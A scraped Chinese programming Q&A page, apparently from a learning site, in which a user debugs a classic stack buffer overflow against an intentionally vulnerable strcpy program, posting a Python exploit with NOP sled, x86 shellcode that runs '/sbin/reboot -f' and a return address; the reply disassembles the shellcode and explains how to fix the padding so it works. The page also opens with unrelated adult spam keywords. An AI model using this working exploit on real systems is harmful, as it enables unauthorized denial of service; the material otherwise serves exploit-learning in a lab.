第七色在线视频,2021少妇久久久久久久久久,亚洲欧洲精品成人久久av18,亚洲国产精品特色大片观看完整版,孙宇晨将参加特朗普的晚宴

為了賬號安全,請及時綁定郵箱和手機立即綁定
已解決430363個問題,去搜搜看,總會有你想問的

分段錯誤shell代碼測試kali 2018

分段錯誤shell代碼測試kali 2018

白板的微信 2021-08-14 21:17:48
我讀過很多文章和例子,但我不知道我現(xiàn)在能做什么。所以,我想為這個易受攻擊的程序測試一個 shellcode:#include <string.h>#include <stdio.h>void main(int argc, char *argv[]) {    copier(argv[1]);    printf("Done!\n");}int copier(char *str) {    char buffer[100];    strcpy(buffer, str);}運行我的 shellcode 的腳本(強制重啟):#!/usr/bin/pythonnopsled = '\x90' * 64shellcode = ('\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e' +'\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3' +'\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53' +'\x89\xe1\xb0\x0b\xcd\x80')padding = 'A' * (112 - 64 - 36)eip = '\x70\xf1\xff\xbf'print nopsled + shellcode + padding + eip 在這里你可以看到我的shellcode被正確加載了:來自 esp 的寄存器我的返回地址是:0xbffff170。那么為什么我的程序不起作用?請幫我
查看完整描述

2 回答

?
守著星空守著你

TA貢獻1799條經(jīng)驗 獲得超8個贊

所以根據(jù)我的計算,這就是你的 shellcode 正在做的事情(這里是 Intel Assembly 語法):


0xbffff19c:  31 c0                  xor    eax,eax

0xbffff19e:  50                     push   eax

0xbffff19f:  68 62 6f 6f 74         push   0x746f6f62

0xbffff1a3:  68 6e 2f 72 65         push   0x65722f6e

0xbffff1a9:  68 2f 73 62 69         push   0x6962732f

0xbffff1ae:  89 e3                  mov    ebx,esp

0xbffff1b0:  50                     push   eax

0xbffff1b1:  66 68 2d 66            pushw  0x662d

0xbffff1b5:  89 e6                  mov    esi,esp

0xbffff1b7:  50                     push   eax

0xbffff1b8:  56                     push   esi

0xbffff1b9:  53                     push   ebx

0xbffff1ba:  89 e1                  mov    ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}

0xbffff1bc:  b0 0b                  mov    al,0xb

0xbffff1be:  cd 80                  int    0x80    ; syscall sys_execve()

分段錯誤發(fā)生在0xbffff1b8,即使您可以看到那里的操作碼完全有效。那么可能發(fā)生了什么?讓我們來看看...


您可能會注意到有相當多的pushing 正在發(fā)生。所有這些pushes 都會覆蓋調(diào)用堆棧中的數(shù)據(jù)。確切地說,總共 34 個字節(jié)。


是的,shellcode 本身存儲在同一個調(diào)用堆棧中......你在連接點嗎?shellcode 正在覆蓋自己并破壞它自己的代碼。它開始很好,但是當它到達時0xbffff1b8,有效代碼不再存在,因為它被其他東西完全覆蓋了。


您需要確保padding和eip組合的長度為 34 或更多,以便 shellcode 在開始覆蓋它自己的代碼之前有足夠的堆??臻g來工作。


也就是說,padding必須至少長 18 個字節(jié)。


將nopsled長度減少 32 個字節(jié),只是為了使它寬敞,然后將這些字節(jié)傳輸?shù)絧adding. 這應該為 shellcode 保留足夠的堆??臻g來完成它的工作而不會破壞自身。


而且由于當前eip地址是shellcode開始前的44個字節(jié),所以不需要調(diào)整。


還有其他一些事情需要注意,首先,一旦shellcode運行完畢,它就不再關(guān)心接下來會發(fā)生什么。這意味著即使按預期工作,該程序也會在完成調(diào)用重啟后崩潰。


此外,/sbin/reboot可能需要 root 訪問權(quán)限才能工作。如果這個進程不是以 root 身份運行,它不會重新啟動(它只會崩潰)。


查看完整回答
反對 回復 2021-08-14
  • 2 回答
  • 0 關(guān)注
  • 180 瀏覽
慕課專欄
更多

添加回答

舉報

0/150
提交
取消
微信客服

購課補貼
聯(lián)系客服咨詢優(yōu)惠詳情

幫助反饋 APP下載

慕課網(wǎng)APP
您的移動學習伙伴

公眾號

掃描二維碼
關(guān)注慕課網(wǎng)微信公眾號